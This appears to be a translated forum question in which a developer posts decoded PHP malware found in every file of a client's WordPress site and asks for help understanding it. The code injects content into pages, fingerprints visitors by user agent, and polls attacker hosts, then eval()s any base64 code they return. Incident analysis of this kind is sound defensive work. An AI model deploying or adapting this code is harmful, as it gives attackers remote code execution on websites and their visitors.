Ho trovato questo codice nella base 64 su tutti i file php di uno dei siti del mio cliente (wordpress) e sto cercando di capire cosa fa.
Sto anche cercando di capire se si trattava di un exploit dell'applicazione o di un accesso FTP diretto oltre questo codice.
Tutto inizia con setup_globals_777() e ob_start('mrobh') impostando il callback sulla funzione mrobh($content) .
Poi c'è una chiamata a gzdecodeit ($decode) dove inizia la seccatura.
Sembra che ottenga il contenuto della pagina e lo cambi. Ora sto cercando di rilevare le modifiche specifiche e comprendere tutte le funzioni, incluso il secondo gzdecodeit() .
Qualcuno può far luce su di esso?
Le chiamate
setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out
La richiamata:
function mrobh ($content)
{
@Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
$decoded_content);
} else {
return $decoded_content . gml_777();
}
}
La funzione di installazione (comprensibile)
function setup_globals_777 ()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
urlencode($_SERVER["PHP_SELF"]) . "&a=" .
urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
$_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
$_SERVER['s_script'] = "mm.php?d=1";
}
La prima funzione chiamata dopo l'esecuzione del callback:
Here is where the magic happens. I can't see the calls for the other available functions and understand what this function is actually decoding, since the
$decodevar is the application output grabbed by theob_start()
function gzdecodeit ($decode)
{
$t = @ord(@substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = @unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = @gzinflate(@substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
Tutte le funzioni disponibili (dopo base64_decode() ):
<?php
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (! function_exists('mrobh')) {
function get_tds_777 ($url)
{
$content = "";
$content = @trycurl_777($url);
if ($content !== false)
return $content;
$content = @tryfile_777($url);
if ($content !== false)
return $content;
$content = @tryfopen_777($url);
if ($content !== false)
return $content;
$content = @tryfsockopen_777($url);
if ($content !== false)
return $content;
$content = @trysocket_777($url);
if ($content !== false)
return $content;
return '';
}
function trycurl_777 ($url)
{
if (function_exists('curl_init') === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "")
return false;
return $result;
}
function tryfile_777 ($url)
{
if (function_exists('file') === false)
return false;
$inc = @file($url);
$buf = @implode('', $inc);
if ($buf == "")
return false;
return $buf;
}
function tryfopen_777 ($url)
{
if (function_exists('fopen') === false)
return false;
$buf = '';
$f = @fopen($url, 'r');
if ($f) {
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
} else
return false;
if ($buf == "")
return false;
return $buf;
}
function tryfsockopen_777 ($url)
{
if (function_exists('fsockopen') === false)
return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$f = @fsockopen($host, 80, $errno, $errstr, 30);
if (! $f)
return false;
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
fwrite($f, $request);
$buf = '';
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10),
$buf);
return $buf;
}
function trysocket_777 ($url)
{
if (function_exists('socket_create') === false)
return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$ip1 = @gethostbyname($host);
$ip2 = @long2ip(@ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (! @socket_connect($sock, $ip1, 80)) {
@socket_close($sock);
return false;
}
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
socket_write($sock, $request);
$buf = '';
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
@socket_close($sock);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10),
$buf);
return $buf;
}
function update_tds_file_777 ($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = @fopen($tdsfile, "w");
if ($f) {
@fwrite($f, $val);
@fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list ($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777 ()
{
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir . "log1.txt";
if (@file_exists($tdsfile)) {
$mtime = @filemtime($tdsfile);
$ctime = time() - $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = @file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = @explode("\n", $content);
$c = @count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777 ($ua)
{
$mac = 0;
if (stristr($ua, "mac") || stristr($ua, "safari"))
if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone")))
$mac = 1;
return $mac;
}
function is_msie_777 ($ua)
{
$msie = 0;
if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") ||
stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
$msie = 1;
return $msie;
}
function setup_globals_777 ()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
urlencode($_SERVER["PHP_SELF"]) . "&a=" .
urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
$_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
$_SERVER['s_script'] = "mm.php?d=1";
}
if (! function_exists('gml_777')) {
function gml_777 ()
{
$r_string_777 = '';
if ($_SERVER['s_b1'] == 0)
$r_string_777 = '';
return $r_string_777;
}
}
if (! function_exists('gzdecodeit')) {
function gzdecodeit ($decode)
{
$t = @ord(@substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = @unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = @gzinflate(@substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh ($content)
{
@Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si',
gml_777() . "\n" . '$1', $decoded_content);
} else {
return $decoded_content . gml_777();
}
}
}
}